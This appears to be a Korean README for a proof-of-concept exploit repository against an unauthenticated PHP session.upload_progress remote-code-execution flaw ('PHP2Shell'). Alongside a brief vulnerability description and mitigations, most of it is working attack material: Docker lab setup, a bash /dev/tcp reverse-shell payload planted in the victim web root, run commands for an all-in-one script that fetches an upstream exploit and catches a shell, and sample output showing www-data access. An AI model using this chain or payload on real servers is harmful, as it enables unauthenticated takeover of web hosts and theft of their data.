
PHP session.upload_progress 인증 전 RCE(PHP2Shell)에 대한 개념 증명 익스플로잇으로, 힙/ASLR 누출, 빌드별 오프셋 프로파일, 올인원 리버스 셸 핸들러를 포함합니다.
★ CVE-2026-109618 / CVE-2026-109619 PHP session.upload_progress 인증 전 RCE PoC ★
PHP2Shell (CVE-2026-109618 / CVE-2026-109619)은 Apache
mod_php환경의 PHP에서 발생하는 인증 불필요 원격 코드 실행(Remote Code Execution) 취약점입니다. 조작된multipart/form-data요청이 요청 전 단계의session.upload_progress핸들러에서 메모리 부족(out-of-memory) bailout을 유발하여, 오래된 포인터가 남아Set-Cookie를 통해 Zend 힙과libphp.so베이스 주소를 유출합니다(ASLR 우회). 이어서 위조된 HashTable이 소멸자(destructor)를zif_system으로 리다이렉트하여 웹 워커(www-data) 권한으로 명령을 실행합니다. 인증이 필요 없으며, 취약한 세션 설정은 기본값으로 활성화되어 있습니다.
| 분류 | 버전 |
|---|---|
| 취약 | 패치 이전의 PHP 8.2.x / 8.3.x / 8.4.x / 8.5.x |
| 패치됨 | PHP 8.5.12 · 8.4.27 · 8.3.36 · 8.2.35 이상 (2026-10-21) |
| 검증 환경 | 공식 php:8.4.26-apache (Debian 13, amd64) |
오프셋은 빌드별(버전 · 아키텍처 · 배포판)로 다릅니다. 이 PoC에는
8.4.26-apache amd64용 프로파일이 포함되어 있으며, 다른 빌드는 자체profiles/*.json이 필요합니다.
www-data) 권한으로 원격 코드 실행libphp 포인터, 잠재적으로 세션 토큰 및 키) 가능피해자 = 아래 설정을 적용한 공식 php:8.4.26-apache. 공격자는 동일한 Docker 브리지의
별도 컨테이너(eqst-kali)에서 실행되며, 리버스 셸은 해당 컨테이너의 IP로 콜백합니다.
# victim (official image + vulnerable config inlined in the Dockerfile)
docker build --platform linux/amd64 -t p2s-victim .
docker run -d --name p2s-victim --platform linux/amd64 p2s-victim # default bridge
docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' p2s-victim # e.g. 172.17.0.2
# attacker (kali) on the same bridge
docker network connect bridge eqst-kali
| 사전 조건 | 이 랩의 상태 |
|---|---|
PHP 8.2–8.5 (패치 전) + Apache mod_php | PHP 8.4.26 / Apache 2.4.69, prefork |
session.upload_progress.enabled | On (기본값) |
session.use_strict_mode | 0 (기본값) |
display_errors | On (1단계 유출을 그대로 노출) |
memory_limit | 128M (기본값 — 변경하지 않음) |
post_max_size / upload_max_filesize > memory_limit (요청 본문이 OOM에 도달하도록 허용) | 256M (업로드 지원 앱은 흔히 이 값을 높임) |
| 단일 Apache 워커 프로세스 (오래된 상태는 프로세스별로 유지됨) | 1 |
호스트 참고 (WSL2): Windows Docker Desktop (WSL2)에서 커널은
libphp를0x7c...에 매핑하며, 이는 업스트림 익스플로잇의0x7F...ASLR 검사보다 낮으므로 유효한 유출을 버립니다.p2s_shell.py는 해당 범위를 자동으로 넓힙니다. 네이티브 Linux 호스트에서는 이 패치가 아무 효과도 없습니다.
p2s_shell.py는 자체 리스너를 열고, 업스트림 익스플로잇을 가져오며,
대상의 PHP 버전에 따라 profiles/*.json에서 오프셋을 선택하고, 체인을 트리거한 뒤,
PTY로 업그레이드된 리버스 셸을 잡는 단일 프로세스입니다 (별도의 nc 불필요).
PoC/
├── Dockerfile # victim image (config inlined)
├── p2s_shell.py # all-in-one: fingerprint -> offsets -> trigger -> shell
└── profiles/php-8.4.26-apache-amd64.json # per-build offsets (system/dtor/htdata)
(vendor/exploit.py is auto-fetched from upstream at run time; not stored here)
일회성 사전 준비: 리버스 셸 페이로드를 피해자 웹 루트에 배치합니다(명령 캐리어는 14바이트이므로, 긴 페이로드는 업스트림에 따라 bash</w/c를 통해 실행되는 파일에 넣습니다):
KALI=$(docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' eqst-kali)
docker exec p2s-victim sh -c "printf 'bash -i >& /dev/tcp/$KALI/4444 0>&1\n' > /w/c" # /w = web root symlink
공격자 내부에서 PoC를 실행합니다(경로는 스크립트 기준 상대 경로입니다):
# interactive PTY shell (victim IP from the inspect above)
python3 p2s_shell.py -u http://172.17.0.2/index.php
# batch: run commands and print output
python3 p2s_shell.py -u http://172.17.0.2/index.php --run 'id;uname -a'
X-Powered-By: PHP/8.4.26의 지문을 식별하고, 일치하는 프로필을 로드한 뒤 셸을 실행합니다:
[*] profile php-8.4.26-apache-amd64.json: PHP 8.4.26/amd64 system=0x465370 dtor=0x65eb60 htdata=0x690D8
[*] listening on 0.0.0.0:4444
[*] triggering exploit: bash</w/c (offsets from JSON profile)
[+] reverse shell from 172.17.0.2:54620
www-data@victim:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
옵션:
--run 'c1;c2' — 배치 모드 (대화형 터미널 불필요)--no-pty — PTY 업그레이드 대신 일반 dumb 셸 유지--php-version / --arch — X-Powered-By가 숨겨져 있을 때 대상 빌드 재정의--lport — 리버스 셸 포트 (/w/c에 내장된 포트와 일치해야 함, 기본값 4444)session.upload_progress.enabled = Off 설정display_errors = Off 설정 (배포된 1단계 유출 차단)zend_mm_heap corrupted 로그 라인 모니터링